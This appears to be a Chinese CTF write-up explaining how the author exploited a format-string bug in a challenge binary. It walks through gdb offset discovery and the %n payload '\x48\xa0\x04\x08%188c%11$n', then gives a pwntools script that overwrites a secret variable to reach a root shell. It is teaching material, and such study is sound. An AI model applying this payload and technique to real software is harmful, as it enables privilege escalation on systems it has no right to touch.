前言
这次结束之后看到pwn能力太弱了,就想试着研究一波。
比赛的时候压根没分析,赛后看了下逻辑,发现非常的简单。
至少本地环境上如果地址不变没开alsr这些是十分简单的。
程序地址在这里:format.rar
开始
首先看名字,提示十分明显,format。基本和字符串格式化有关系咯。
拉到IDA PRO看看逻辑
代码逻辑十分简单
基本就是
secret = 0;
fget(str,1024,std::stdin);//从命令行接受80h也就是128个字符长度的数据
print(str);把这个字符串打印
if (secret != c0h){printf("Sorry, secret=%d\n",secret);}
else{system("/sbin/su -i");//获取权限}
更具代码我们知道,我们主要修改secret这个变量的值就可以了。我们在ida pro那里看看这个值的地址是多少
之后就是关于字符串format漏洞修改内存地址的啦。
相关资料在这里:
不过和教程中不一样的是,在此之前,我们得先找到我们程序format漏洞字符串所在栈中的偏移。
这个偏移才是让format语句把数据指向我们的地址的关键,毕竟这个字符串就是poc,包含要写入的地址。
我们打开gdb,设置printf断点。
然后按r执行,输入11111111测试字符串。程序将会执行到断点处
然后执行x/30x $sp
来查看
发现第13个字段编程3131313131,31的ascii也就是对应的1的字符。
我们在程序内用%12$x
检查,发现内容不正确。
(%数字$操作符 的意思就是用第几个偏移,已什么方式输出,这里是x就是已16进制,d是整数,s是字符串)
最后检查发现是%11$x
对应我们的31313131,也就是在程序内使用第十一个偏移。
最后我们构造poc,用%n像该地址写入数值。
所以我们的playload,应该是\x48\xa0\x04\x08%188c%11$n
其中,x48xa0x04x08是我们要写入的地址。%188c的意思是把188转换为16进制写入。
为什么是188呢?因为最后是验证secret是否等于C0H,也就是是否等于192。%n的意思是写入字节长度,\x48\xa0\x04\x08
刚好是四字节,加上这188刚好是192等于C0H,达到最后验证secret相等的效果。
最后就是实现了。
因为\x48\xa0\x04\x08
这几个属于特殊字符,直接输入并不会被转义,所以得需要程序帮我们构造输入。这时候我们可以使用pwntools
sudo apt install python
sudo apt install python-pip
sudo pip install pwntools
详细教程可以看:pwntools使用
我们构造poc代码如下:
from pwn import *
io = process('format')#format必须和这个Py脚本同一目录下
io.sendline('\x48\xa0\x04\x08%188c%11$n')
io.interactive() #直接进行交互,相当于回到shell的模式,在取得shell之后使用
成功取得shell
“逻辑十分简单”
“十分简单”
(发出了“大佬!”的声音
肛道理,真的简单啊_(:з」∠)_